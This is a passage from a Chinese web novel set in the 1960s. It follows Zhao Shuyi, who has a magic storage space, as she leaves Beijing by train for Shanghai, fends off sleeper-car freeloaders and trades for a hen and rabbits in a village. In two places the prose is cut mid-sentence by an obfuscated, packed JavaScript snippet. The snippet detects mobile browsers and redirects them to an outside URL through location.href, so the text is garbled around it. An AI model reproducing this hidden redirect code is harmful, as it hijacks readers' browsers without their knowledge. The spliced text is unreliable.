她觉得自己以后有机会可以在空间里安排一辆自行车,甚至是小汽车,这样行事就方便多了。 只是这年头,小汽车就别想了,自行车也有牌照,并不是那么方便。 罢了,也不是经常需要半夜这么急地搞事情。 还是之后再说吧。 等回到家时,赵书宜已经送出去了十多封举报信,大字也贴到了公告栏。 能做的都做了,如果这样对方还能脱身,那就只能说剧情力量太强大,她更得赶紧跑了。 坐在空间里看着那箱小黄鱼,赵书宜觉得烫眼睛。 这东西不属于她,她肯定不能要。 但是怎么交出去呢? 琢磨许久赵书宜没琢磨出结果来。 到处都快要乱起来了,赵书宜觉得现在交出去很有可能也是被某些人私吞,不如等到十年后再想办法以公益或者其他的方式交出去。 “嗯,就这么办吧!” 给自己打气后赵书宜就把东西丢到了一边,她开始琢磨自己的水田。 现在种子有了,田也有了,此时不种更待何时? 赵书宜并不会种田,手里拿着稻种还有些迷茫。 既然都已经是水田了,应该不需要先用水泡吧,她记得很多粮食再栽种前都要用热水先泡泡催芽的。 她不会,万一没掌握好水温泡熟了就得不偿失了,大不了就之后再试试。 她没有票买的种子并不多,只是很稀疏地往水田里洒了四分之一的位置。 如果不行的话之后再请教请教别人。 等种好,赵书宜便开始收拾家里的东西。 缝纫机带走,衣服带走,桌椅板凳……赵书宜带了一条椅子,她的空间里也需要家具的嘛,小箱子塞了两个,厨房米面粮油扫荡一空,锅碗瓢盆也挑挑拣拣地放入了空间。 父母房间里他们能带走的都带走了。 带不走的就是这一个衣柜,据说是当年她姥爷给母亲的陪嫁。 把衣柜直接收走,赵书宜又将他们屋里写字台里玻璃下的照片也都带走了。 书房里可能会有风险的书带走,以后可能会用到的书带走。 该拿的东西都拿走,赵书宜又收拾了一下房子,力求看起来比较正常。 然后她拿了昨天买的锁把所有房门全部都锁了起来。 她就穿着一件的确良衬衫,一条舒适的黑色休闲裤,旁边放了一个红色的小皮箱和一个装了点吃食的包袱,这就算是她的旅途家当了。 就算她脚上踩着这年头随处可见的军绿色胶底鞋,看着也还是一副娇滴滴大小姐的模样。 这也没办法,原身天身丽质,她总不能故意往自己脸上抹锅底灰吧。 有郑景成他们在,应该不至于。 9. 她有那个脑子吗? 天还未亮,隔壁院子已经有小孩哭起来,逐渐将一个个院子唤醒。 也是这时,院门被敲响。 赵书宜忙上前打开院门。 “郑书记。” 郑书记带着郑景成还有他的司机一起过来的。 “都收拾好了吗?” 见她拎着箱子郑书记有些诧异,“还以为你还没起。” “我已经收拾好了,多的东西邮寄去了那边,路上带太多不太方便。” 郑书记满意地点点头,“是这个理,走吧。” 郑景成上前,“东西我来帮你拎吧。” 他们三个一起过来显然就是为了给赵书宜拿东西的。 小姑娘嘛,出一趟门肯定是什么都割舍不下的。 大概都没想到赵书宜的东西这么少。 赵书宜也没客气,谢过后锁上院门跟着一起出了巷子。 她悄悄离去没跟任何人说。 原身的脾气不好,赵家夫妻又常年待在研究所,平常醉心研究根本不怎么跟人打交道,但他们工资又很高,难免招人不喜。 一家三口都没有多交好的朋友。 上了车,郑书记才跟赵书宜说起话来。 “我帮你联系了云省那边,但是顾岩出任务去了没联系上,你们先过去看看情况,如果有什么不妥的话跟景成他们一起回来,我会帮你安排好。” 赵书宜点点头,她能感觉到对方的善意,压下心里最后一丝怀疑,说了句谢谢。 “原本是想让你们明天直接过去的,但他们必须要先去沪市一趟,辛苦你多转一圈,有什么需要你跟他们说就是了。” “我知道的,谢谢郑书记。” 郑书记像是一个看着孩子远行的长辈,叮嘱了许多,又问:“还有什么需要的吗?” 赵书宜想了想,说:“没什么,只要我爸妈好好的,我就能好好的。” 郑书记笑笑,“还是个孝顺孩子,你放心,你父母的贡献组织会记得,现在这环境,他们去做项目是最好的安排。” 赵书宜心里微讶,他是知道什么。 其实想来也是,不止是他,应该有点敏锐嗅觉的人都能察觉出此刻局势的紧张。 父母说是有人提醒他们,或许其中也有郑书记。 “郑书记你也小心。” “你自己一个人也是,过去常联系,别让人觉得你没娘家人。” 说着他掏出一大把的钱票出来。 “这些你拿好了,如果不够再给我拍电报,里面有封信是给曹副师长的,他是我的老战友了,有需要你就去找他。” 郑书记似乎真把他当成了赵书宜的娘家人,给了东西还给人情。 赵书宜一下不知该如何拒绝。 她从来没有遇到过这样的情况,没忍住问了一句,“郑书记,您是想让我帮你做什么吗?” 郑书记先是一愣,随即哈哈笑了两声这才敛笑严肃道:“我需要你保护好自己,让你父母没有后顾之忧。” 赵书宜盯着他,想要看他说话时有没有不妥之处。 “有戒备心是好的,希望你能保持。” 这话倒是说得赵书宜有点不好意思了。 其实她真的一点看不出来对方有什么不妥,但谁让书中他是男女主的保护伞呢。 女主都不是什么好东西,护着她的能有什么好? 只是许多情绪赵书宜现在也不能说出来。 她觉得自己身上也没什么值得对方图谋的,不管怎么样父母已经去了项目组,什么都可以等十年后再说。 如果父母出了什么事,她绝不会善罢甘休。 现在她就是个远离父母要去嫁人的小姑娘而已。 “抱歉。” 郑书记摆摆手,似乎完全没把她刚才的冒犯之言放在心上。 “到了,下车吧。” 他们一行加上她一共是七人。 也不知是照顾她还是巧合,其中还有一位女同志。 对方身姿笔挺一身正气,看着就是军人。 “赵书宜同志你好,我是朱怡,路上你就跟着我就好。” “多谢朱怡同志。” 赵书宜总觉得对方的眉眼看起来特别熟悉,好像在哪见过。 但原身的记忆里怎么也寻摸不出这么一张英气的脸。 大概是前世在小视频中刷到过吧,赵书宜想。 他们一行去得算早,就在候车大厅等着。 几人也不知是不熟还是纪律原因,都不说话。 赵书宜也老老实实站着发愣。 结果没一会她从嘈杂的声音中听到了一些令她感兴趣的话题。 “高家,就是他媳妇在街道办那个高家……” 赵书宜没想到事情这么快就传出来了。 她的心慢慢提了起来。 虽然她觉得自己做得足够小心,那些证据也足以击倒高家,但不怕一万就怕万一,万一有什么自己忽略了的问题。 “你是不知道,街道办的,派出所的,供销社的都来了,全是来调查那姓高的贪钱,说是贪了好几千呢!” “账本上写得清清楚楚,连他们家的暗格都打开了,但是钱没了!” “怎么可能没了,狡兔三窟吧,肯定藏别处去了……” “哎哟真是,我还说把我侄女介绍给他家那儿子,听说是个研究员呢……” 赵书宜心中嗤笑,还研究员呢,也不怕闪了舌头。 这带不带实习二字可大不一样。 “你家侄女在哪里上班?” 两人的话题逐渐跑偏,赵书宜又偷听了一会儿,也没再听到自己想听的内容。 高家如此,想必许晚夏也不会好过吧。 “赵书宜同志,上车了。” 朱怡的声音将赵书宜拉回思绪。 几人顺着拥挤的人群上了车。 人群里哭声喊声交谈声,吵得人耳朵嗡嗡的。 直到进入卧铺车厢,赵书宜才觉得缓过神来。 如果还没上车前赵书宜只是怀疑,等上车后她就彻底确定了。 朱怡就是为了照顾自己。 几位男同志全部坐硬座,只有她们两个是卧铺。 京市是首发站,他们上车速度快,上车时车厢里还没人。 “赵书宜同志,你睡下铺吧,我就在你上面,如果有什么需要的,一定叫我。” 对方太客气,赵书宜实在有些不好意思了。 “朱怡同志,你不必太紧张,我能照顾好自己的。” 上辈子赵书宜一直都是照顾人的那个,虽然穿到了娇小姐的身上,她也没想过让人照顾自己。 思及此她也不由得想起自己此行的目的。 从原身的记忆来看,顾岩外形条件不错,人的能力也毋庸置疑,也有担当,是个可以嫁的对象。 但对方不喜欢原身。 有之前四月份的那件事情,对方恐怕对她的印象更不好,说不定还会以为她心里还有高志云。 这是个麻烦事。 要和对方结婚的话,两人之间肯定要有过得下去的基础。 不是爱情,而是互相尊重。 就在赵书宜胡思乱想的时候,车厢里又进来一个男人,男人戴着眼镜,看起来很斯文。 见车厢里只有两个女同志,他微微点了点头,然后赵书宜就瞥见他耳朵根红透了。 啊这…… 这年头的人可真纯情啊。 蓦地想到昨晚的高志云和许晚晴,收回刚才的想法。 也不知道那二位怎么样了。 家里闹起来后,他们两人有没有想办法脱身。 对于那两人的情况,赵书宜可谓是猜得七七八八。 许晚晴敢晚上和高志云在一起,那也是因为她知道自己母亲晚上值班。 经过上辈子的那些事情,她最是知道怎么对付男人,这些男人,若是不给他们一点甜头,他们就会跑,十分无情。 但是她也不傻,知道不能直接让那些臭男人得逞,所以她和高志云之间也没真发生什么,随便动动手指就把高志云勾得神魂颠倒的了。 许晚晴为此十分得意。 她就想看到赵书宜一直被男人欺骗时受伤的样子。 今日拿捏了高志云,又从高志云这里得到一支进口钢笔和五十块钱,她像之前一样去国营饭店买了点包子和豆浆,假装自己早早出门为下夜班的母亲买早饭。 可她刚走到巷子口就见自己院子门口吵吵嚷嚷一大群人围着。 这情况让她一下想到不好的事情。 她走到那些人的身后也没人注意到她。 她听到那些人在议论他们家,议论她妈收病人的钱,议论她家有许多钱票,议论她家很多鸡肉鱼蛋,议论她和她母亲很多时新的裙子,简直资本家做派。 听到这话她整个人瑟瑟发抖起来。 上辈子她家就是如此被人给抓了下放的,那简直是她的噩梦! 可那明明是几年后的事啊! 是她不小心看到了母亲收人钱财的账本吵闹之下被人发现从而被举报。 她原本想着重生一世要留着那账本拿捏母亲的。 要不然母亲总是觉得她事事不行,总想要控制她。 可她还没动作呢。 早知道她就早点把那账本毁了。 许晚晴看到那么多人,转身就想跑,可跑两步她又停了下来。 她不能走,那里面还有她的钱呢。 想到这儿许晚晴更绝望了。 她好不容易靠着自己的先知攒下来的那么多钱,被人发现的话肯定会被盘问的,她说不清楚来处肯定会被抓起来。 再也没犹豫,许晚晴转身就跑。 她第一反应是去找高志云,虽然她看不上高志云,但她很清楚自从重生以来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“志云,怎么办,我妈被人抓走了,呜呜……志云,怎么办?” “你说什么?” 高志云正想把自家的噩耗告诉许晚晴,没想到许晚晴竟告诉他这么一个消息。 “阿姨也被查了吗?” 高志云心思一贯比较重,想得也比许晚晴多,一下就嗅到了其中不太正常的味道。 “怎么会这么巧?” 他这么一说,许晚晴先是愣了愣,也有些反应过来。 但她现在的人设是什么也不知情,只能继续装傻,哭着问:“什么这么巧,志云你在说什么?” “晚晴,我家也被查了,怎么会这么巧,怎么会我们两家同时被查,书宜呢,你刚刚是去找书宜吗,找到她了吗?” 高志云盯着许晚晴,这时看着楚楚可怜的许晚晴他也没了怜惜之心。 他心里有种不好的预感。 昨天开始这种预感就有了,只是现在达到了顶峰。 许晚晴心里思绪万千,摇了摇头,“她不在,她家锁门了,志云,你是说是赵书宜害我们吗?” 她才不信。 赵书宜就是个别人说什么就信的蠢货,她怎么可能做得出那样的事情来。 高志云也很疑惑。 他觉得赵家一家三口都很蠢。 如果是他手里有那么厉害的资料,早就拿出来大显神威了,而不是藏着掖着的。 说什么技术不成熟,怕研究失败浪费资源,资源又不是他赵家的,何必那么小心? 还有赵书宜更蠢。 但是他想起这两天发生的事情,想到赵家父母突然的离开。 而且除了他们还能有谁? 他可没招惹别人。 “晚晴,你忘了吗,你让我在她家塞了东西。” 许晚晴脸色一白,也想到了那个东西。 她原本想的高志云塞那个东西就算被人发现也不担心,反正跟她没关系。 可现在他这话是什么意思? 对方不仅发现了,还把事情扯到了自己的身上? 凭什么,赵书宜问都没问过自己。 她有那个脑子吗? 许晚晴现在也顾不得伪装了,她这么想的也就这么问了出来。 高志云心里发沉,“她没有,她爸妈又不是傻的。” 其实他也知道他们智商高,虽然在有些人情世故上不是那么通透,却也不是随便就能糊弄的,尤其是那么明显的事。 高志云这下倒是把自己刚才觉得对方蠢的想法又给压了下去,他开始埋怨许晚晴,那样的东西她早早地让他塞到赵家,又不早点动手。 许晚晴心里慌慌的,还是觉得不对劲。 “就算他们发现了那字条,那跟我有什么关系,跟我妈又有什么关系?” 两人对视一眼,都有一个更不好的预感。 该不会是赵书宜发现他们两人的事情了吧。 10. 母鸡和兔子 赵书宜自是不知那两人的具体情况,想来也不会多好。 但凡在单位过得风生水起的总有几个不对盘的对手。 高家父母和许母在单位都不是什么低调人,肯定也有许多人等着看她们热闹。 赵书宜觉得自己昨晚的举动应该是能帮原身出口恶气了。 接下来主要就是要过好自己的日子了。 火车启动后,她就躺上卧铺用意念进入了空间。 这年头的绿皮火车体验感真不是一般的差,哪怕是许多人可能一辈子都没见过的卧铺。 从一上车起就能闻到一股由各种怪味组合在一起的臭味,好不容易习惯点,耳边又是巨大的哐当哐当的声音,让人很难不烦躁。 然而,这种烦躁在看到空间里的水田里长出绿芽时消散了大半。 赵书宜简直不敢相信,这才过去几个小时啊。 一开始她还想着要是不行的话她就给那些种子洒点灵泉水,灵泉水的功效应该是很强的。 结果根本用不着,以这个速度,那不是很快就能丰收了吗? 赵书宜又忍不住开始胡思乱想了。 以后她是不是要去做粮食贩子? 要不然这么多粮食怎么吃得完? 除了粮食也不知道能不能种其他的。 简直跟后世网络上的某农场一样有趣。 真是美滋滋。 火车上的日子无疑是无聊的。 好在是有空间。 空间里还有赵书宜装进来的家里所有的书。 赵书宜是提前问过赵父的,他说如果有用,那些书她都可以用。 放在家里指不定什么时候就被虫给咬了。 而且按理来说赵家人被调走房子是要被收回去的,也不知道他们是怎么安排的。 赵书宜看着空间里的书,时间一晃就到了下午。 车厢里只剩下了最后一个床位。 赵书宜正被火车发出的哐当哐当的声音弄得晕晕沉沉的,突然有个有些沧桑的女人带着个孩子走了进来。 她看到还有个位置时眼睛一亮,然后那眼珠子左右转转就转到了赵书宜这边。 赵书宜本是不想理人的,所以闭着眼睛假装自己熟睡。 她知道这年头火车卧铺很不好买,能买得起的不会吝啬一个下铺,买不起的也不会有脸去要别人的位置。 所以她不会轻易地让位置。 可明明看她都闭眼要睡过去了,那带着孩子的女人却还要来叫醒她。 “小姑娘?” 她声音稍微压着,听起来倒像是个比较柔弱的妇女。 赵书宜没理,她又唤一声。 有些无奈,赵书宜睁开眼,朱怡从上铺跳了下来。 她也不说话,就站在赵书宜的面前盯着那对祖孙。 中年妇人在小孩肩上轻轻拍了一下,小孩说:“姐姐,我和我奶奶两个人,我们想住下铺,能跟你换个下铺吗?” 他歪着头眨着眼睛来看赵书宜,显然是看到赵书宜已经醒了。 “不行哦,小朋友,每个人有每个人的票,你们买票了吗?” 那小孩一脸肯定道:“买啦,但是没有买到下铺,我和奶奶两个人睡上铺会掉下来的。” 赵书宜坐起身来,见状那一老一少脸上都闪过欣喜之色。 “我去帮你们问问乘务员吧,刚刚我还听说有下铺,怎么你们没买到呢?奇怪了。” 她说着起身,两人倒是想直接霸占她的位置,可他们面前还有一个朱怡直挺挺站着,两人都不敢放肆。 “不用不用,怎么好麻烦乘务员同志?” 那女人倒还是个能屈能伸的,且明显也想好了理由,揪着衣角,垂头说,“其实不是没买到,实在是钱有点紧张,但是我们两个是真住不了上铺。” 赵书宜险些翻个白眼。 “我也住不了,我要梦游,会掉下来。” 说完也懒得理人了,和朱怡对视一眼后,直接又躺了回去。 那一老一少有些愤愤,可对上朱怡如狼一般的凶狠眼神,他们又不敢再多说。 两人在那处站了一会儿,没人愿意多搭把手。 赵书宜猜测他们两个应该是没有票的,要不然怎么火车行驶的半路才到车厢来。 原本以为没占到便宜他们就要离开,谁知道他们过了会儿又跑到了对面。 赵书宜:“……” 把人当聋子吗,打量人家刚才没听到他们的话? 不过看那位下铺的仁兄似乎刚才确实是睡着了。 “小兄弟,醒醒,小兄弟……” 喊了几声对方没动静,像是真睡着了。 “小兄弟……” 那女人还要喊,朱怡看不下去,两步站到了床铺边,说:“别吵人睡觉。” 就在这时,那男人像是终于睡醒了。 他翻了个身,然后抬手拉住了朱怡的袖子,“要吃饭了吗?” 情形有些莫名地诡异。 赵书宜看看那男人迷迷糊糊的样子,又看看朱怡,只见朱怡脸都黑了。 她手腕一翻捏住对方的手一掰。 “啊——” 这下男人彻底醒了,他抬头争着他那清澈愚蠢的眼神惊恐地看着站在他面前的几人。 “怎……怎么了?” 他左右看看,“你们要睡我的位置吗?我跟你换。” 这话是对着朱怡说的。 他说着要起身,被朱怡一巴掌拍了回去。 “睡你的!” 男人瑟瑟看了她一眼,完全不敢反抗,乖乖躺了回去。 那对祖孙显然也被刚才的情形吓到了,女人拍了一把自己孙子。 “睡什么卧铺,咱们的硬座不也挺好的,赶紧走!” 两人灰溜溜地走了。 果然啊,拳头才是硬道理。 赵书宜没忍住给朱怡竖了个大拇指。 她也回以一个稍显和善的笑容。 见状赵书宜一愣。 这还是她第一次见朱怡笑。 但这不是重点,而是她发现对方的笑容自己见过。 “朱怡同志,你是京市人吗?” 朱怡大概没想到赵书宜会突然问私人问题,但她只是愣了片刻,还是点头,“是。” “住在和平街那边?” 朱怡露出惊诧表情,“你怎么知道?” 刚才赵书宜只是问顺口了。 她突然想到自己或许不该提及,毕竟上次在公交车见到的那姑娘肯定不是朱怡,但那姑娘做的事似乎也不是能宣扬的。 可话赶话都说到这儿了,她也只能说下去。 “我好像在那边看到过你。” 朱怡皱眉想了一下,像是想到什么,她说:“可能是我妹妹。” 赵书宜知道自己多话了,点点头没再多说。 到下一站,对面空床位也来人了,是个三十来岁的女人。 女人没有跟陌生人搭话,自顾收拾了东西就爬到了上铺。 这才是正常人嘛。 像是一眨眼,又像是过了很久,天黑了。 赵书宜虽然还是觉得火车上味道难闻,但也已经有点习惯了,她躺在床上昏昏欲睡。 结果突然听到外面传来喊叫声,吓得她“垂死病中惊坐起”! 朱怡动作比她更快,已经从上铺跳了下来。 那身手敏捷的,可真叫人羡慕啊。 “你先别动。”她说,“我出去看看。” 她只出去了一会儿,很快回来。 “是小偷,已经抓到了。” 说完她看了赵书宜一眼,又解释,“是下午来过的那一老一少。” 大家面面相觑,竟有一种并不意外的感觉。 卧铺几乎与外面隔绝,只要同一间卧铺里的人不闹什么幺蛾子,就不会有什么意外。 他们这个车厢除了那对奇葩祖孙来过,就一路顺利,途中倒是偶尔听到外面的吵嚷,不是掉东西就是抢座位,很是热闹。 第二天中午,火车顺利到达沪市火车站。 这个年代的沪市还没有后世那高楼林立的模样,看起来依旧是灰扑扑的。 下火车后,郑景成很自觉地上前来帮赵书宜拿箱子。 因为他们的任务不方便带赵书宜,几人只能和赵书宜分开行动。 “赵书宜同志,你一个人一定要注意安全,天黑之前要回来。” 赵书宜点头,“好。” “如果遇到什么事情就去派出所,到时候如果我们找不到你就会去那里找你。” “我知道了。” 郑景成话挺密的,但都是关心人的话,赵书宜垂着眸耐心听着,时不时也应和两句。 终于到了他们要住的招待所,其实就是火车站的招待所。 招待所挺大的,房间也多,他们的房间都在二楼。 郑景成帮忙把东西搬到了房门口。 “贵重物品带在身上。”他说着又看了一眼赵书宜,说,“你出去最好穿朴素一点的衣服。” 见赵书宜低头看自己的穿着,他急忙解释。 “我不是说你这样穿不好的意思。”他脸上染了点红,像是生怕赵书宜误会。 “我知道。”赵书宜完全能明白他的意思,“为了安全,我会注意的。” “行,你注意安全,那我先走了。” 赵书宜感激地冲对方点了点头,这才关了房门。 她是真能感受到郑景成的关心,目前看来人还是不错的。 不过赵书宜要吸取原身的教训,有些人表面看着好,私底下还指不定是什么样呢。 不以恶意揣测人,但也得保持警惕之心。 郑景成几人虽然没说是什么任务,但他们显然有点着急,放下东西没一会儿就出去了,还特地来跟赵书宜说了一声。 他们出去后不久赵书宜也出了门。 她得去踩点。 赵家的老宅在大学路。 现在大学停课,到处是戴着红袖章的学生,赵书宜出门乔装了一番。 她找出自己最破旧的衣服在上面补了两个补丁,脸上也化了个变丑变黑的妆容。 梳着这年代最普遍的双低麻花辫,做不到“改头换面”,至少没之前惹眼了。 原身在这里长大,对各处弄堂小巷都还是挺熟悉的,她很快就找到了那个幼儿园。 一栋三层的洋楼,里面有十多个房间,院子很大,院门锁着,但是里面还时不时传出小孩的声音。 赵书宜估计了一下那些东西的位置。 可惜她的空间并不能隔空取物,得碰到东西才能收进空间。 她必须想办法进去。 光明正大肯定不行。 得晚上再来。 按照来时的路,赵书宜又走了一遍确定路线和周围的环境。 到火车站附近她进了国营饭店。 市区的国营饭店供应都要多些,现在还能吃饭。 人太多,赵书宜没多买,只买了两个包子就回了招待所。 她空间里还有前天在京市买的饭菜,是可以保鲜的,她自己也有粮食和菜,锅碗瓢盆柴都有,她自己也能做,就不跟人抢了。 不过既然都换地方了,或许她可以再去采购一番。 这年头到处买东西都需要票。 但是除了黑市,还有一处也是可以不要票买东西的,就是乡下。 赵书宜决定去晃悠晃悠,看看自己的空间能不能养活物。 说干就干,吃过饭休息一会儿赵书宜就出了门。 她先去供销社买了些鸡蛋糕和水果糖这才往城边上去。 现在的沪市并不如后世大,走个半个小时也已经到了村里。 正是下地的时候,在外面干活的人还不少,但人多赵书宜肯定不能打听,她只能闷着头往前走假装寻人。 有人跟她打招呼,她只说路过。 直到看到一棵老榕树,看到榕树下坐着两个婶子,她眼前一亮。 见她过去,两人都有些防备地看着她。 “大娘,我想请问一下这附近有人家里养了鸡吗,我家里姐姐怀孕了,想换点鸡蛋。” 两人一听要换东西,更加警惕了。 其中一个胖胖的大婶睨她一眼,“你拿什么换?” 赵书宜把背篓放下来掀开里面的东西给他们看。 除了她买的鸡蛋糕和水果糖,还有她从京市带过来的红糖。 她一人抓了几颗水果糖给两人,问:“你们看这些你们需要吗,不够的话我可以添点钱,也可以少换点,下次多带点过来换。” 两人对视一眼,“你要多少?” 赵书宜假装很惊喜,“可以换吗,能换多少换多少,我姐太瘦了,家里人都想给她补补,可惜不能换母鸡。” “母鸡肯定都是各家留着下蛋的吧。”赵书宜语气沮丧。 那胖婶子一看就是会来事的,她一把抓住赵书宜的手,“你这丫头是个疼姐姐的,你来婶子家看看,实在想要我也能换给你,只是你可能得多加点东西了。” 这下轮到赵书宜表现防备了,问:“多加多少啊?我只有八块钱。” 一听八块钱,两人眼睛都在放光。 这年头鸡和鸡蛋都是好东西,但物价低啊,四块钱足以买下一只鸡了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615813|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我姐说,要是在市场上,八块钱能买两只鸡,四块钱加点鸡蛋糕,婶子愿意换吗?” “换!” 眼看着两人达成协议,那有些瘦的婶子有些坐不住了,“小姑娘,你看你姐姐怀孕,一只鸡怎么够,到时候坐月子不还得杀一只,来都来了,不如多换一只?” “可以吗,八块钱加这些鸡蛋糕两只?你们分哦。” 胖婶子眼珠子一转,视线在红糖上扫过。 “再给你点鸡蛋再换点红糖。” 瘦婶子说:“我也要我也要。” 赵书宜有些哭笑不得,看了看村子后面那片山,问:“有兔子吗?我多给点红糖。” 这年头红糖是稀罕物,赵书宜囤了不少。 “有!”胖婶子立马回答。 没等赵书宜高兴,瘦婶子怀疑道:“你哪里来的兔子?” “你管我,赶紧去抓鸡!” 胖婶子不由分说拉着赵书宜就走,这殷勤态度跟刚才的防备简直是千差万别。 赵书宜依旧一副乖乖女的样子任她拉着,很快她被拉到了一处收拾齐整的小院。 胖婶子家里有两只母鸡,她把瘦的那只抓了出来。 赵书宜倒没不高兴,如果是她自己那肯定也是把好的留给自己。 对方手脚麻利,三下五除二就把鸡爪子捆了起来。 然后就见她拿了一条长凳放在院墙跟前,她爬上去直接翻到了旁边人家的院子。 赵书宜目瞪口呆。 等看到对方把兔子抱回来赵书宜都还没反应过来。 “婶子,这不太好吧。” “你放心,那凳子不都还在那,我会赔她的,她家媳妇也怀了,正需要红糖呢,到时候我分点给她。” 赵书宜表示怀疑。 但是现在东西都在这儿了,她有点骑虎难下。 万一她们强买强卖…… 赵书宜默了默打算等有时间再来看看,到时候这婶子没给,自己再给点就好。 “你这憨货,你咋翻人家家里拿东西?”瘦婶子也拎着鸡来了,“我说你哪来的兔子呢。” “他们家不是要红糖吗,我这是帮他们换的,反正兔子他们也不能吃。” 瘦婶子瞪她一眼,倒也没多说,很快把母鸡和鸡蛋给赵书宜收好了。 赵书宜看得出来她们都不是什么善茬,打算拿了东西就走。 她虽然有空间并不害怕,但万一这村子有问题,那么多人对付自己自己可没法子。 至少身上不能带太多的东西吧。 银货两讫后赵书宜背着背篓就走,胖婶子把她送到门口,说:“姑娘,再要换什么再来啊。” 赵书宜挥挥手原路返回。 走前回头看了隔壁家一眼。 隔了几分钟她又绕了一圈,从另一边绕到了那家门口,拿了两块钱塞在她家门缝里,这才赶紧悄悄走了。 她想了想觉得自己不一定能再来一趟,希望他们能拿到钱吧。 赵书宜背着背篓往村外走,其实背篓里的东西已经被她转移到了空间里,只留下了几个鸡蛋。 赵书宜相信就算有人发现鸡在她这里不翼而飞也没人能想到空间,反正她跟这些人也不会有什么交集了。 思及此赵书宜心里放松不少。 她脚步快,很快就走到了那群干活的人的附近。 像她这样的陌生人少不得是要被别人注意到的。 原本赵书宜是想匆匆直接走过去,结果在路边看到个大着肚子的女人,她皱着眉似乎有些痛苦。 赵书宜脚步一顿,问:“这位同志,你没事吧,需要帮忙吗?” 看到她,对方愣了一下,赶紧摇头,这些人还挺排外的。 “同志,我来找人没找到,能讨口水喝吗?” 她纠结了一下,还是把水壶递给了赵书宜。 赵书宜刚才还看她喝了,并不觉得水里面有什么问题,但也没多喝,只是把水壶里面的水换成了空间的灵泉水。 她看这女同志脸色真的不怎么好看,就怕胎相有问题。 “同志,我看你脸色不好,你也喝点,你们家是不是养了兔子?” 对方瞳孔一缩,显然是被惊住了,她大概也知道自己的反应太大,有点懊恼,问:“你怎么知道?” 看她大着肚子,赵书宜也是想碰碰运气,没想到还真是。 担心有人来,她忙把刚才的事情简单说了,“四块钱加一块红糖够吗?” 如果对方狮子大开口或者不愿意换她也只能把兔子还给她了。 好在对方没有让她失望,还很惊喜,两只兔子可值不了这么多。 不过也没不信她在他们门口放了两块钱,只能说这年头的人真淳朴。 这倒是让赵书宜松了口气,算是了了一桩事,也没白浪费她的灵泉水。 她忙掏出钱和红糖递给对方,“多喝水,希望你生个健康的宝宝,我先走了。” 女人点头,看着赵书宜的背影摸了摸自己肚子,下意识喝了两口水。 她莫名觉得水好像变甜了,这就是赚了钱的原因吗? 想着想着她一个人居然把水壶里的水全部喝完了。 没一会儿一个皮肤黝黑的男人有些着急地赶了过来,“我听说刚才有外人跟你搭话,没事吧?” 女人摇头,看看四周,把赵书宜给她的钱和红糖露出来,“你看这是什么?” 男人一惊,“那人给的?她为什么给你钱?” 女人把刚才的事情说了说,“那两只兔子被她带走了,你赶紧回去拿钱。” “好,我马上去。”那可是两块钱,万一被人捡走了。 “这个胖婶,真不见外。”男人嘴里念了两句却没太生气,胖婶也算是阴差阳错帮了他们。” 那两只兔子是男人去山上砍柴时抓回来的,听说孕妇不能吃兔子,他们没敢吃还得养着,又没时间拿去黑市上卖,正愁呢。 而且去黑市可卖不了这价钱。 男人走出去几步,又转回头来有些担心问:“肚子舒服点没有,不然还是去卫生所看看。” “不用,舒服多了。” 两人正说着话,一辆军绿色汽车从远处驶来,又往城里而去,扬起一片尘土。 男人帮女人掩住口鼻,但两人眼睛都一错不错地盯着汽车消失的方向。 他们这里虽然已经靠近城里,但也没有经常进城的机会,能看到汽车还是觉得很稀奇的。 “这两天总看到汽车往这边来,他们干嘛来的?” “听大队长说好像是山上发现了什么敌特的东西,最近都不让上山了。” “赶紧,赶紧回去拿钱。” 11. 夜行 赵书宜完全不知自己的随意为之改变了两个普通人的命运。 她做事从心,做过就抛到脑后了。 之前担心的事情都没有发生,走出村子,她也没有感觉有人跟着自己,脚步也跟着轻松起来。 她刚才已经用意念看过了,鸡和兔子正在空间咕嘟嘟喝溪边的水,也不知喝过灵泉水的兔兔是不是特别美味。 吸溜~ 正想着麻辣兔肉,她忽地听到身后传来汽车鸣笛的声音,下意识看了过去。 不怪她大惊小怪,这年头的汽车实在少,满大街也就是骑自行车的多点,尤其是在这种乡间小路就更是少见了。 她转头一看,原来是一辆军用吉普。 这就能够说得通了。 只是扫了一眼,赵书宜就把头转了回来。 吉普车开得快,在这小路上一过全是灰。 赵书宜连忙避到了最边上。 果然,不多时漫天尘土从她身边扬起,路都快看不清了。 赵书宜捂着脸好一会儿才缓过来。 车内,坐在副驾的男人穿着一身作训服,身材高大,眉眼肃穆。 旁边司机注意到他一直盯着后视镜,笑道:“那姑娘可真有意思,少见对我们的车那么嫌弃的。” 男人开口,声音冷沉。 “都是灰,谁不嫌弃?” “这不是得跑乡下嘛,回去我就好好洗洗,我也心疼啊。” 男人看着后视镜逐渐远去的身影没有说话。 赵书宜一路往城里走,她又四处逛了逛,买了一些自己需要的东西。 等快到招待所的时候,她看到街对面有一个邮局,她眼前一亮。 又想到一个投资的生财之道。 这年头的邮票应该挺值钱的吧。 不管是不是试试就好了,反正现在的邮票也不贵还能用。 赵书宜上前问了问,果然有。 今年一月份新发布的某会议的邮票,其票面是用油画绘制的,瞧着十分精美。 就算以后不是很值钱,收藏也是不错的。 买完邮票,她就拎着一个小网兜回了招待所。 她回去时旁边的几个房间并没有什么动静,看来郑景成他们还没有回来。 赵书宜把门一锁直接进了空间。 现在她的空间里已经有了许多的东西,虽然收进来时空间似乎会按照物品的种类自己摆放位置,但这不是赵书宜想要的。 赵书宜叉着腰看着空地上的那些东西。 “要是能有一个房子就好了。” 也不知道她自己能不能建房子。 赵书宜有点蠢蠢欲动。 既然别人可以,她为什么不可以? 